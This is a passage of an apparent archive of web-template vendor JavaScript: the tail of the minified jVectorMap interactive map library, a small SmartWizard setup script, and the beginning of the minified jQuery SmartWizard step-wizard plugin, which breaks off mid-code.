offset=jvm.$(map.container).offset(),centerX=event.pageX-offset.left,centerY=event.pageY-offset.top,zoomStep=Math.pow(1+map.params.zoomOnScrollSpeed/1e3,event.deltaFactor*event.deltaY);map.tip.hide(),map.setScale(map.scale*zoomStep,centerX,centerY),event.preventDefault()})},bindContainerTouchEvents:function(){function handleTouchEvent(e){var offset,scale,transXOld,transYOld,touches=e.originalEvent.touches;"touchstart"==e.type&&(lastTouchesLength=0),1==touches.length?(1==lastTouchesLength&&(transXOld=map.transX,transYOld=map.transY,map.transX-=(touchX-touches[0].pageX)/map.scale,map.transY-=(touchY-touches[0].pageY)/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),touchX=touches[0].pageX,touchY=touches[0].pageY):2==touches.length&&(2==lastTouchesLength?(scale=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2))/touchStartDistance,map.setScale(touchStartScale*scale,centerTouchX,centerTouchY),map.tip.hide(),e.preventDefault()):(offset=jvm.$(map.container).offset(),centerTouchX=touches[0].pageX>touches[1].pageX?touches[1].pageX+(touches[0].pageX-touches[1].pageX)/2:touches[0].pageX+(touches[1].pageX-touches[0].pageX)/2,centerTouchY=touches[0].pageY>touches[1].pageY?touches[1].pageY+(touches[0].pageY-touches[1].pageY)/2:touches[0].pageY+(touches[1].pageY-touches[0].pageY)/2,centerTouchX-=offset.left,centerTouchY-=offset.top,touchStartScale=map.scale,touchStartDistance=Math.sqrt(Math.pow(touches[0].pageX-touches[1].pageX,2)+Math.pow(touches[0].pageY-touches[1].pageY,2)))),lastTouchesLength=touches.length}var touchStartScale,touchStartDistance,touchX,touchY,centerTouchX,centerTouchY,lastTouchesLength,map=this;jvm.$(this.container).bind("touchstart",handleTouchEvent),jvm.$(this.container).bind("touchmove",handleTouchEvent)},bindContainerPointerEvents:function(){var map=this,gesture=new MSGesture,element=this.container[0];(gesture.target=element).addEventListener("MSGestureChange",function(e){var transXOld,transYOld;0==e.translationX&&0==e.translationY||(transXOld=map.transX,transYOld=map.transY,map.transX+=e.translationX/map.scale,map.transY+=e.translationY/map.scale,map.applyTransform(),map.tip.hide(),transXOld==map.transX&&transYOld==map.transY||e.preventDefault()),1!=e.scale&&(map.setScale(map.scale*e.scale,e.offsetX,e.offsetY),map.tip.hide(),e.preventDefault())},!1),element.addEventListener("pointerdown",function(e){gesture.addPointer(e.pointerId)},!1)},bindElementEvents:function(){var pageX,pageY,mouseMoved,map=this;this.container.mousemove(function(e){2<Math.abs(pageX-e.pageX)+Math.abs(pageY-e.pageY)&&(mouseMoved=!0)}),this.container.delegate("[class~='jvectormap-element']","mouseover mouseout",function(e){var type=-1===(jvm.$(this).attr("class").baseVal||jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),element="region"==type?map.regions[code].element:map.markers[code].element,tipText="region"==type?map.mapData.paths[code].name:map.markers[code].config.name||"",tipShowEvent=jvm.$.Event(type+"TipShow.jvectormap"),overEvent=jvm.$.Event(type+"Over.jvectormap");"mouseover"==e.type?(map.container.trigger(overEvent,[code]),overEvent.isDefaultPrevented()||element.setHovered(!0),map.tip.text(tipText),map.container.trigger(tipShowEvent,[map.tip,code]),tipShowEvent.isDefaultPrevented()||(map.tip.show(),map.tipWidth=map.tip.width(),map.tipHeight=map.tip.height())):(element.setHovered(!1),map.tip.hide(),map.container.trigger(type+"Out.jvectormap",[code]))}),this.container.delegate("[class~='jvectormap-element']","mousedown",function(e){pageX=e.pageX,pageY=e.pageY,mouseMoved=!1}),this.container.delegate("[class~='jvectormap-element']","mouseup",function(){var type=-1===(jvm.$(this).attr("class").baseVal?jvm.$(this).attr("class").baseVal:jvm.$(this).attr("class")).indexOf("jvectormap-region")?"marker":"region",code="region"==type?jvm.$(this).attr("data-code"):jvm.$(this).attr("data-index"),clickEvent=jvm.$.Event(type+"Click.jvectormap"),element="region"==type?map.regions[code].element:map.markers[code].element;mouseMoved||(map.container.trigger(clickEvent,[code]),("region"==type&&map.params.regionsSelectable||"marker"==type&&map.params.markersSelectable)&&(clickEvent.isDefaultPrevented()||(map.params[type+"sSelectableOne"]&&map.clearSelected(type+"s"),element.setSelected(!element.isSelected))))})},bindZoomButtons:function(){var map=this;jvm.$("<div/>").addClass("jvectormap-zoomin").text("+").appendTo(this.container),jvm.$("<div/>").addClass("jvectormap-zoomout").html("&#x2212;").appendTo(this.container),this.container.find(".jvectormap-zoomin").click(function(){map.setScale(map.scale*map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)}),this.container.find(".jvectormap-zoomout").click(function(){map.setScale(map.scale/map.params.zoomStep,map.width/2,map.height/2,!1,map.params.zoomAnimate)})},createTip:function(){var map=this;this.tip=jvm.$("<div/>").addClass("jvectormap-tip").appendTo(jvm.$("body")),this.container.mousemove(function(e){var left=e.pageX-15-map.tipWidth,top=e.pageY-15-map.tipHeight;left<5&&(left=e.pageX+15),top<5&&(top=e.pageY+15),map.tip.css({left:left,top:top})})},setScale:function(scale,anchorX,anchorY,isCentered,animate){var interval,scaleStart,scaleDiff,transXStart,transXDiff,transYStart,transYDiff,transX,transY,viewportChangeEvent=jvm.$.Event("zoom.jvectormap"),that=this,i=0,count=Math.abs(Math.round(60*(scale-this.scale)/Math.max(scale,this.scale))),deferred=new jvm.$.Deferred;return scale>this.params.zoomMax*this.baseScale?scale=this.params.zoomMax*this.baseScale:scale<this.params.zoomMin*this.baseScale&&(scale=this.params.zoomMin*this.baseScale),void 0!==anchorX&&void 0!==anchorY&&(zoomStep=scale/this.scale,transY=isCentered?(transX=anchorX+this.defaultWidth*(this.width/(this.defaultWidth*scale))/2,anchorY+this.defaultHeight*(this.height/(this.defaultHeight*scale))/2):(transX=this.transX-(zoomStep-1)/scale*anchorX,this.transY-(zoomStep-1)/scale*anchorY)),animate&&0<count?(scaleStart=this.scale,scaleDiff=(scale-scaleStart)/count,transXStart=this.transX*this.scale,transYStart=this.transY*this.scale,transXDiff=(transX*scale-transXStart)/count,transYDiff=(transY*scale-transYStart)/count,interval=setInterval(function(){i+=1,that.scale=scaleStart+scaleDiff*i,that.transX=(transXStart+transXDiff*i)/that.scale,that.transY=(transYStart+transYDiff*i)/that.scale,that.applyTransform(),i==count&&(clearInterval(interval),that.container.trigger(viewportChangeEvent,[scale/that.baseScale]),deferred.resolve())},10)):(this.transX=transX,this.transY=transY,this.scale=scale,this.applyTransform(),this.container.trigger(viewportChangeEvent,[scale/this.baseScale]),deferred.resolve()),deferred},setFocus:function(config){var bbox,itemBbox,codes,i,point;if((config=config||{}).region?codes=[config.region]:config.regions&&(codes=config.regions),codes){for(i=0;i<codes.length;i++)this.regions[codes[i]]&&(itemBbox=this.regions[codes[i]].element.shape.getBBox())&&(bbox=void 0===bbox?itemBbox:{x:Math.min(bbox.x,itemBbox.x),y:Math.min(bbox.y,itemBbox.y),width:Math.max(bbox.x+bbox.width,itemBbox.x+itemBbox.width)-Math.min(bbox.x,itemBbox.x),height:Math.max(bbox.y+bbox.height,itemBbox.y+itemBbox.height)-Math.min(bbox.y,itemBbox.y)});return this.setScale(Math.min(this.width/bbox.width,this.height/bbox.height),-(bbox.x+bbox.width/2),-(bbox.y+bbox.height/2),!0,config.animate)}return void 0!==config.lat&&void 0!==config.lng?(point=this.latLngToPoint(config.lat,config.lng),config.x=this.transX-point.x/this.scale,config.y=this.transY-point.y/this.scale):config.x&&config.y&&(config.x*=-this.defaultWidth,config.y*=-this.defaultHeight),this.setScale(config.scale*this.baseScale,config.x,config.y,!0,config.animate)},getSelected:function(type){var key,selected=[];for(key in this[type])this[type][key].element.isSelected&&selected.push(key);return selected},getSelectedRegions:function(){return this.getSelected("regions")},getSelectedMarkers:function(){return this.getSelected("markers")},setSelected:function(type,keys){var i;if("object"!=typeof keys&&(keys=[keys]),jvm.$.isArray(keys))for(i=0;i<keys.length;i++)this[type][keys[i]].element.setSelected(!0);else for(i in keys)this[type][i].element.setSelected(!!keys[i])},setSelectedRegions:function(keys){this.setSelected("regions",keys)},setSelectedMarkers:function(keys){this.setSelected("markers",keys)},clearSelected:function(type){var i,select={},selected=this.getSelected(type);for(i=0;i<selected.length;i++)select[selected[i]]=!1;this.setSelected(type,select)},clearSelectedRegions:function(){this.clearSelected("regions")},clearSelectedMarkers:function(){this.clearSelected("markers")},getMapObject:function(){return this},getRegionName:function(code){return this.mapData.paths[code].name},createRegions:function(){var key,region,map=this;for(key in this.regionLabelsGroup=this.regionLabelsGroup||this.canvas.addGroup(),this.mapData.paths)region=new jvm.Region({map:this,path:this.mapData.paths[key].path,code:key,style:jvm.$.extend(!0,{},this.params.regionStyle),labelStyle:jvm.$.extend(!0,{},this.params.regionLabelStyle),canvas:this.canvas,labelsGroup:this.regionLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.regions:null}),jvm.$(region.shape).bind("selected",function(e,isSelected){map.container.trigger("regionSelected.jvectormap",[jvm.$(this.node).attr("data-code"),isSelected,map.getSelectedRegions()])}),this.regions[key]={element:region,config:this.mapData.paths[key]}},createMarkers:function(markers){var i,marker,point,markerConfig,markersArray,map=this;if(this.markersGroup=this.markersGroup||this.canvas.addGroup(),this.markerLabelsGroup=this.markerLabelsGroup||this.canvas.addGroup(),jvm.$.isArray(markers))for(markersArray=markers.slice(),markers={},i=0;i<markersArray.length;i++)markers[i]=markersArray[i];for(i in markers)markerConfig=markers[i]instanceof Array?{latLng:markers[i]}:markers[i],!1!==(point=this.getMarkerPosition(markerConfig))&&(marker=new jvm.Marker({map:this,style:jvm.$.extend(!0,{},this.params.markerStyle,{initial:markerConfig.style||{}}),labelStyle:jvm.$.extend(!0,{},this.params.markerLabelStyle),index:i,cx:point.x,cy:point.y,group:this.markersGroup,canvas:this.canvas,labelsGroup:this.markerLabelsGroup,label:"vml"!=this.canvas.mode?this.params.labels&&this.params.labels.markers:null}),jvm.$(marker.shape).bind("selected",function(e,isSelected){map.container.trigger("markerSelected.jvectormap",[jvm.$(this.node).attr("data-index"),isSelected,map.getSelectedMarkers()])}),this.markers[i]&&this.removeMarkers([i]),this.markers[i]={element:marker,config:markerConfig})},repositionMarkers:function(){var i,point;for(i in this.markers)!1!==(point=this.getMarkerPosition(this.markers[i].config))&&this.markers[i].element.setStyle({cx:point.x,cy:point.y})},repositionLabels:function(){var key;for(key in this.regions)this.regions[key].element.updateLabelPosition();for(key in this.markers)this.markers[key].element.updateLabelPosition()},getMarkerPosition:function(markerConfig){return jvm.Map.maps[this.params.map].projection?this.latLngToPoint.apply(this,markerConfig.latLng||[0,0]):{x:markerConfig.coords[0]*this.scale+this.transX*this.scale,y:markerConfig.coords[1]*this.scale+this.transY*this.scale}},addMarker:function(key,marker,seriesData){var values,i,markers={},data=[];seriesData=seriesData||[];for(markers[key]=marker,i=0;i<seriesData.length;i++)values={},void 0!==seriesData[i]&&(values[key]=seriesData[i]),data.push(values);this.addMarkers(markers,data)},addMarkers:function(markers,seriesData){var i;for(seriesData=seriesData||[],this.createMarkers(markers),i=0;i<seriesData.length;i++)this.series.markers[i].setValues(seriesData[i]||{})},removeMarkers:function(markers){var i;for(i=0;i<markers.length;i++)this.markers[markers[i]].element.remove(),delete this.markers[markers[i]]},removeAllMarkers:function(){var i,markers=[];for(i in this.markers)markers.push(i);this.removeMarkers(markers)},latLngToPoint:function(lat,lng){var point,inset,bbox,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian;return lng<-180+centralMeridian&&(lng+=360),point=jvm.Proj[proj.type](lat,lng,centralMeridian),!!(inset=this.getInsetForPoint(point.x,point.y))&&(bbox=inset.bbox,point.x=(point.x-bbox[0].x)/(bbox[1].x-bbox[0].x)*inset.width*this.scale,point.y=(point.y-bbox[0].y)/(bbox[1].y-bbox[0].y)*inset.height*this.scale,{x:point.x+this.transX*this.scale+inset.left*this.scale,y:point.y+this.transY*this.scale+inset.top*this.scale})},pointToLatLng:function(x,y){var i,inset,bbox,nx,ny,proj=jvm.Map.maps[this.params.map].projection,centralMeridian=proj.centralMeridian,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(bbox=(inset=insets[i]).bbox,nx=x-(this.transX*this.scale+inset.left*this.scale),ny=y-(this.transY*this.scale+inset.top*this.scale),nx=nx/(inset.width*this.scale)*(bbox[1].x-bbox[0].x)+bbox[0].x,ny=ny/(inset.height*this.scale)*(bbox[1].y-bbox[0].y)+bbox[0].y,nx>bbox[0].x&&nx<bbox[1].x&&ny>bbox[0].y&&ny<bbox[1].y)return jvm.Proj[proj.type+"_inv"](nx,-ny,centralMeridian);return!1},getInsetForPoint:function(x,y){var i,bbox,insets=jvm.Map.maps[this.params.map].insets;for(i=0;i<insets.length;i++)if(x>(bbox=insets[i].bbox)[0].x&&x<bbox[1].x&&y>bbox[0].y&&y<bbox[1].y)return insets[i]},createSeries:function(){var i,key;for(key in this.series={markers:[],regions:[]},this.params.series)for(i=0;i<this.params.series[key].length;i++)this.series[key][i]=new jvm.DataSeries(this.params.series[key][i],this[key],this)},remove:function(){this.tip.remove(),this.container.remove(),jvm.$(window).unbind("resize",this.onResize),jvm.$("body").unbind("mouseup",this.onContainerMouseUp)}},jvm.Map.maps={},jvm.Map.defaultParams={map:"world_mill_en",backgroundColor:"#505050",zoomButtons:!0,zoomOnScroll:!0,zoomOnScrollSpeed:3,panOnDrag:!0,zoomMax:8,zoomMin:1,zoomStep:1.6,zoomAnimate:!0,regionsSelectable:!1,markersSelectable:!1,bindTouchEvents:!0,regionStyle:{initial:{fill:"white","fill-opacity":1,stroke:"none","stroke-width":0,"stroke-opacity":1},hover:{"fill-opacity":.8,cursor:"pointer"},selected:{fill:"yellow"},selectedHover:{}},regionLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}},markerStyle:{initial:{fill:"grey",stroke:"#505050","fill-opacity":1,"stroke-width":1,"stroke-opacity":1,r:5},hover:{stroke:"black","stroke-width":2,cursor:"pointer"},selected:{fill:"blue"},selectedHover:{}},markerLabelStyle:{initial:{"font-family":"Verdana","font-size":"12","font-weight":"bold",cursor:"default",fill:"black"},hover:{cursor:"pointer"}}},jvm.Map.apiEvents={onRegionTipShow:"regionTipShow",onRegionOver:"regionOver",onRegionOut:"regionOut",onRegionClick:"regionClick",onRegionSelected:"regionSelected",onMarkerTipShow:"markerTipShow",onMarkerOver:"markerOver",onMarkerOut:"markerOut",onMarkerClick:"markerClick",onMarkerSelected:"markerSelected",onViewportChange:"viewportChange"},jvm.MultiMap=function(params){var that=this;this.maps={},this.params=jvm.$.extend(!0,{},jvm.MultiMap.defaultParams,params),this.params.maxLevel=this.params.maxLevel||Number.MAX_VALUE,this.params.main=this.params.main||{},this.params.main.multiMapLevel=0,this.history=[this.addMap(this.params.main.map,this.params.main)],this.defaultProjection=this.history[0].mapData.projection.type,this.mapsLoaded={},this.params.container.css({position:"relative"}),this.backButton=jvm.$("<div/>").addClass("jvectormap-goback").text("Back").appendTo(this.params.container),this.backButton.hide(),this.backButton.click(function(){that.goBack()}),this.spinner=jvm.$("<div/>").addClass("jvectormap-spinner").appendTo(this.params.container),this.spinner.hide()},jvm.MultiMap.prototype={addMap:function(name,config){var cnt=jvm.$("<div/>").css({width:"100%",height:"100%"});return this.params.container.append(cnt),this.maps[name]=new jvm.Map(jvm.$.extend(config,{container:cnt})),this.params.maxLevel>config.multiMapLevel&&this.maps[name].container.on("regionClick.jvectormap",{scope:this},function(e,code){var multimap=e.data.scope,mapName=multimap.params.mapNameByCode(code,multimap);multimap.drillDownPromise&&"pending"===multimap.drillDownPromise.state()||multimap.drillDown(mapName,code)}),this.maps[name]},downloadMap:function(code){var that=this,deferred=jvm.$.Deferred();return this.mapsLoaded[code]?deferred.resolve():jvm.$.get(this.params.mapUrlByCode(code,this)).then(function(){that.mapsLoaded[code]=!0,deferred.resolve()},function(){deferred.reject()}),deferred},drillDown:function(name,code){var currentMap=this.history[this.history.length-1],that=this,focusPromise=currentMap.setFocus({region:code,animate:!0}),downloadPromise=this.downloadMap(code);focusPromise.then(function(){"pending"===downloadPromise.state()&&that.spinner.show()}),downloadPromise.always(function(){that.spinner.hide()}),this.drillDownPromise=jvm.$.when(downloadPromise,focusPromise),this.drillDownPromise.then(function(){currentMap.params.container.hide(),that.maps[name]?that.maps[name].params.container.show():that.addMap(name,{map:name,multiMapLevel:currentMap.params.multiMapLevel+1}),that.history.push(that.maps[name]),that.backButton.show()})},goBack:function(){var currentMap=this.history.pop(),prevMap=this.history[this.history.length-1],that=this;currentMap.setFocus({scale:1,x:.5,y:.5,animate:!0}).then(function(){currentMap.params.container.hide(),prevMap.params.container.show(),prevMap.updateSize(),1===that.history.length&&that.backButton.hide(),prevMap.setFocus({scale:1,x:.5,y:.5,animate:!0})})}},jvm.MultiMap.defaultParams={mapNameByCode:function(code,multiMap){return code.toLowerCase()+"_"+multiMap.defaultProjection+"_en"},mapUrlByCode:function(code,multiMap){return"jquery-jvectormap-data-"+code.toLowerCase()+"-"+multiMap.defaultProjection+"-en.js"}};vendor/wizard/wizard-custom.js000066600000001544151150442740012522 0ustar00// Wizard #1
$(function () {
	// SmartWizard initialize
	$("#smartwizard").smartWizard({
		toolbar: {
			extraHtml: `<button class="btn btn-primary" onclick="onFinish()">Finish</button>
                <button class="btn btn-dark" onclick="onCancel()">Cancel</button>`,
		},
	});
});

// Wizard #2
$(function () {
	// SmartWizard 2 initialize
	$("#smartwizard2").smartWizard({
		theme: "arrows",
		justified: false,
	});
});

// Wizard #3
$(function () {
	// SmartWizard 3 initialize
	$("#smartwizard3").smartWizard({
		theme: "dots",
		toolbar: {
			extraHtml: `<button class="btn btn-primary" onclick="onFinish()">Finish</button>
                <button class="btn btn-dark" onclick="onCancel()">Cancel</button>`,
		},
	});
});

// Wizard #1
$(function () {
	// SmartWizard initialize
	$("#smartwizard4").smartWizard({
		theme: "round",
		justified: false,
	});
});
vendor/wizard/wizard.min.js000066600000037307151150442740012002 0ustar00"use strict";function _classCallCheck(t,s){if(!(t instanceof s))throw new TypeError("Cannot call a class as a function")}function _defineProperties(t,s){for(var e=0;e<s.length;e++){var n=s[e];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function _createClass(t,s,e){return s&&_defineProperties(t.prototype,s),e&&_defineProperties(t,e),Object.defineProperty(t,"prototype",{writable:!1}),t}function _typeof(t){return(_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}
/*!
* jQuery SmartWizard v6.0.6
* The awesome step wizard plugin for jQuery
* http://www.techlaboratory.net/jquery-smartwizard
*
* Created by Dipu Raj (http://dipu.me)
*
* Licensed under the terms of the MIT License
* https://github.com/techlab/jquery-smartwizard/blob/master/LICENSE
*/
!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"===("undefined"==typeof module?"undefined":_typeof(module))&&module.exports?module.exports=function(t,s){return void 0===s&&(s="undefined"!=typeof window?require("jquery"):require("jquery")(t)),e(s),s}:e(jQuery)}(function(l){var i={selected:0,theme:"basic",justified:!0,autoAdjustHeight:!0,backButtonSupport:!0,enableUrlHash:!0,transition:{animation:"none",speed:"400",easing:"",prefixCss:"",fwdShowCss:"",fwdHideCss:"",bckShowCss:"",bckHideCss:""},toolbar:{position:"bottom",showNextButton:!0,showPreviousButton:!0,extraHtml:""},anchor:{enableNavigation:!0,enableNavigationAlways:!1,enableDoneState:!0,markPreviousStepsAsDone:!0,unDoneOnBackNavigation:!1,enableDoneStateNavigation:!0},keyboard:{keyNavigation:!0,keyLeft:[37],keyRight:[39]},lang:{next:"Next",previous:"Previous"},style:{mainCss:"sw",navCss:"nav",navLinkCss:"nav-link",contentCss:"tab-content",contentPanelCss:"tab-pane",themePrefixCss:"sw-theme-",anchorDefaultCss:"default",anchorDoneCss:"done",anchorActiveCss:"active",anchorDisabledCss:"disabled",anchorHiddenCss:"hidden",anchorErrorCss:"error",anchorWarningCss:"warning",justifiedCss:"sw-justified",btnCss:"sw-btn",btnNextCss:"sw-btn-next",btnPrevCss:"sw-btn-prev",loaderCss:"sw-loading",progressCss:"progress",progressBarCss:"progress-bar",toolbarCss:"toolbar",toolbarPrefixCss:"toolbar-"},disabledSteps:[],errorSteps:[],warningSteps:[],hiddenSteps:[],getContent:null},e=function(){function n(t,s){var e=this;_classCallCheck(this,n),this.options=l.extend(!0,{},i,s),this.main=l(t),this.nav=this._getFirstDescendant("."+this.options.style.navCss),this.container=this._getFirstDescendant("."+this.options.style.contentCss),this.steps=this.nav.find("."+this.options.style.navLinkCss),this.pages=this.container.children("."+this.options.style.contentPanelCss),this.progressbar=this.main.find("."+this.options.style.progressCss),this.dir=this._getDir(),this.current_index=-1,this.is_init=!1,this._init(),setTimeout(function(){e._load()},0)}return _createClass(n,[{key:"_init",value:function(){if(this._setElements(),this._setToolbar(),!0===this.is_init)return!0;this._setEvents(),this.is_init=!0,this._triggerEvent("initialized")}},{key:"_load",value:function(){this.pages.hide(),this.steps.removeClass([this.options.style.anchorDoneCss,this.options.style.anchorActiveCss]);var t=!(this.current_index=-1)!==(t=this._getURLHashIndex())?t:this.options.selected,s=this._getShowable(t-1,"forward");0<(t=null===s&&0<t?this._getShowable(-1,"forward"):s)&&this.options.anchor.enableDoneState&&this.options.anchor.markPreviousStepsAsDone&&this.steps.slice(0,t).addClass(this.options.style.anchorDoneCss),this._showStep(t),this._triggerEvent("loaded")}},{key:"_getFirstDescendant",value:function(n){var i=this.main.children(n);return 0<i.length?i:(this.main.children().each(function(t,s){var e=l(s).children(n);if(0<e.length)return i=e,!1}),0<i.length?i:(this._showError("Element not found "+n),!1))}},{key:"_getDir",value:function(){var t=this.main.prop("dir");return 0===t.length&&(t=document.documentElement.dir,this.main.prop("dir",t)),t}},{key:"_setElements",value:function(){var e=this;this.main.removeClass(function(t,s){return(s.match(new RegExp("(^|\\s)"+e.options.style.themePrefixCss+"\\S+","g"))||[]).join(" ")}).addClass(this.options.style.mainCss+" "+this.options.style.themePrefixCss+this.options.theme),this.main.toggleClass(this.options.style.justifiedCss,this.options.justified),!0===this.options.anchor.enableNavigationAlways&&!0===this.options.anchor.enableNavigation||this.steps.addClass(this.options.style.anchorDefaultCss),l.each(this.options.disabledSteps,function(t,s){e.steps.eq(s).addClass(e.options.style.anchorDisabledCss)}),l.each(this.options.errorSteps,function(t,s){e.steps.eq(s).addClass(e.options.style.anchorErrorCss)}),l.each(this.options.warningSteps,function(t,s){e.steps.eq(s).addClass(e.options.style.anchorWarningCss)}),l.each(this.options.hiddenSteps,function(t,s){e.steps.eq(s).addClass(e.options.style.anchorHiddenCss)})}},{key:"_setEvents",value:function(){var e=this;this.steps.on("click",function(t){var s;t.preventDefault(),!0===e.options.anchor.enableNavigation&&(s=l(t.currentTarget),e._isShowable(s)&&e._showStep(e.steps.index(s)))}),this.main.on("click",function(t){l(t.target).hasClass(e.options.style.btnNextCss)?(t.preventDefault(),e._navigate("next")):l(t.target).hasClass(e.options.style.btnPrevCss)&&(t.preventDefault(),e._navigate("prev"))}),l(document).keyup(function(t){e._keyNav(t)}),l(window).on("hashchange",function(t){var s;!0!==e.options.backButtonSupport||!1!==(s=e._getURLHashIndex())&&e._isShowable(e.steps.eq(s))&&(t.preventDefault(),e._showStep(s))}),l(window).on("resize",function(t){e._fixHeight(e.current_index)})}},{key:"_setToolbar",value:function(){this.main.find(".sw-toolbar-elm").remove();var t=this.options.toolbar.position;"none"!==t&&("both"==t?(this.container.before(this._createToolbar("top")),this.container.after(this._createToolbar("bottom"))):"top"==t?this.container.before(this._createToolbar("top")):this.container.after(this._createToolbar("bottom")))}},{key:"_createToolbar",value:function(t){var s=l("<div></div>").addClass("sw-toolbar-elm "+this.options.style.toolbarCss+" "+this.options.style.toolbarPrefixCss+t).attr("role","toolbar"),e=!1!==this.options.toolbar.showNextButton?l("<button></button>").text(this.options.lang.next).addClass("btn "+this.options.style.btnNextCss+" "+this.options.style.btnCss).attr("type","button"):null,n=!1!==this.options.toolbar.showPreviousButton?l("<button></button>").text(this.options.lang.previous).addClass("btn "+this.options.style.btnPrevCss+" "+this.options.style.btnCss).attr("type","button"):null;return s.append(n,e,this.options.toolbar.extraHtml)}},{key:"_navigate",value:function(t){this._showStep(this._getShowable(this.current_index,t))}},{key:"_showStep",value:function(n){var i=this;if(-1===n||null===n)return!1;if(n==this.current_index)return!1;if(!this.steps.eq(n))return!1;if(!this._isEnabled(this.steps.eq(n)))return!1;var o=this._getStepDirection(n);if(-1!==this.current_index&&!1===this._triggerEvent("leaveStep",[this._getStepAnchor(this.current_index),this.current_index,n,o]))return!1;this._loadContent(n,function(){var t=i._getStepAnchor(n);i._setURLHash(t.attr("href")),i._setAnchor(n);var s=i._getStepPage(i.current_index),e=i._getStepPage(n);i._transit(e,s,o,function(){i._fixHeight(n),i._triggerEvent("showStep",[t,n,o,i._getStepPosition(n)])}),i.current_index=n,i._setButtons(n),i._setProgressbar(n)})}},{key:"_getShowable",value:function(e,n){var i=this,o=null;return("prev"==n?l(this.steps.slice(0,e).get().reverse()):this.steps.slice(e+1)).each(function(t,s){if(i._isEnabled(l(s)))return o="prev"==n?e-(t+1):t+e+1,!1}),o}},{key:"_isShowable",value:function(t){if(!this._isEnabled(t))return!1;var s=t.hasClass(this.options.style.anchorDoneCss);return(!1!==this.options.anchor.enableDoneStateNavigation||!s)&&!(!1===this.options.anchor.enableNavigationAlways&&!s)}},{key:"_isEnabled",value:function(t){return!t.hasClass(this.options.style.anchorDisabledCss)&&!t.hasClass(this.options.style.anchorHiddenCss)}},{key:"_getStepDirection",value:function(t){return this.current_index<t?"forward":"backward"}},{key:"_getStepPosition",value:function(t){return 0===t?"first":t===this.steps.length-1?"last":"middle"}},{key:"_getStepAnchor",value:function(t){return null==t||-1==t?null:this.steps.eq(t)}},{key:"_getStepPage",value:function(t){return null==t||-1==t?null:this.pages.eq(t)}},{key:"_loadContent",value:function(t,s){var e,n,i,o;l.isFunction(this.options.getContent)&&(e=this._getStepPage(t))?(n=this._getStepDirection(t),i=this._getStepPosition(t),o=this._getStepAnchor(t),this.options.getContent(t,n,i,o,function(t){t&&e.html(t),s()})):s()}},{key:"_transit",value:function(s,e,t,n){var i=l.fn.smartWizard.transitions[this.options.transition.animation];this._stopAnimations(),l.isFunction(i)?i(s,e,t,this,function(t){!1===t&&(null!==e&&e.hide(),s.show()),n()}):(null!==e&&e.hide(),s.show(),n())}},{key:"_stopAnimations",value:function(){l.isFunction(this.container.finish)&&(this.pages.finish(),this.container.finish())}},{key:"_fixHeight",value:function(t){var s;!1!==this.options.autoAdjustHeight&&(s=this._getStepPage(t).outerHeight(),l.isFunction(this.container.finish)&&l.isFunction(this.container.animate)&&0<s?this.container.finish().animate({height:s},this.options.transition.speed):this.container.css({height:0<s?s:"auto"}))}},{key:"_setAnchor",value:function(t){var s,e;null!==this.current_index&&0<=this.current_index&&(s=this.options.style.anchorActiveCss,e="",!1!==this.options.anchor.enableDoneState&&(e+=this.options.style.anchorDoneCss,!1!==this.options.anchor.unDoneOnBackNavigation&&"backward"===this._getStepDirection(t)&&(s+=" "+this.options.style.anchorDoneCss)),this.steps.eq(this.current_index).addClass(e).removeClass(s)),this.steps.eq(t).removeClass(this.options.style.anchorDoneCss).addClass(this.options.style.anchorActiveCss)}},{key:"_setButtons",value:function(t){this.main.find("."+this.options.style.btnNextCss+", ."+this.options.style.btnPrevCss).removeClass(this.options.style.anchorDisabledCss);var s,e=this._getStepPosition(t);"first"===e||"last"===e?(s="first"===e?"."+this.options.style.btnPrevCss:"."+this.options.style.btnNextCss,this.main.find(s).addClass(this.options.style.anchorDisabledCss)):(null===this._getShowable(t,"next")&&this.main.find("."+this.options.style.btnNextCss).addClass(this.options.style.anchorDisabledCss),null===this._getShowable(t,"prev")&&this.main.find("."+this.options.style.btnPrevCss).addClass(this.options.style.anchorDisabledCss))}},{key:"_setProgressbar",value:function(t){var s=this.nav.width(),e=s/this.steps.length*(t+1)/s*100;document.documentElement.style.setProperty("--sw-progress-width",e+"%"),0<this.progressbar.length&&this.progressbar.find("."+this.options.style.progressBarCss).css("width",e+"%")}},{key:"_keyNav",value:function(t){if(this.options.keyboard.keyNavigation)if(-1<l.inArray(t.which,this.options.keyboard.keyLeft))this._navigate("prev"),t.preventDefault();else{if(!(-1<l.inArray(t.which,this.options.keyboard.keyRight)))return;this._navigate("next"),t.preventDefault()}}},{key:"_triggerEvent",value:function(t,s){var e=l.Event(t);return this.main.trigger(e,s),!e.isDefaultPrevented()&&e.result}},{key:"_setURLHash",value:function(t){this.options.enableUrlHash&&window.location.hash!==t&&history.pushState(null,null,t)}},{key:"_getURLHashIndex",value:function(){if(this.options.enableUrlHash){var t=window.location.hash;if(0<t.length){var s=this.nav.find("a[href*='"+t+"']");if(0<s.length)return this.steps.index(s)}}return!1}},{key:"_showError",value:function(t){console.error(t)}},{key:"_changeState",value:function(t,s,e){var n=this;e=!1!==e;var 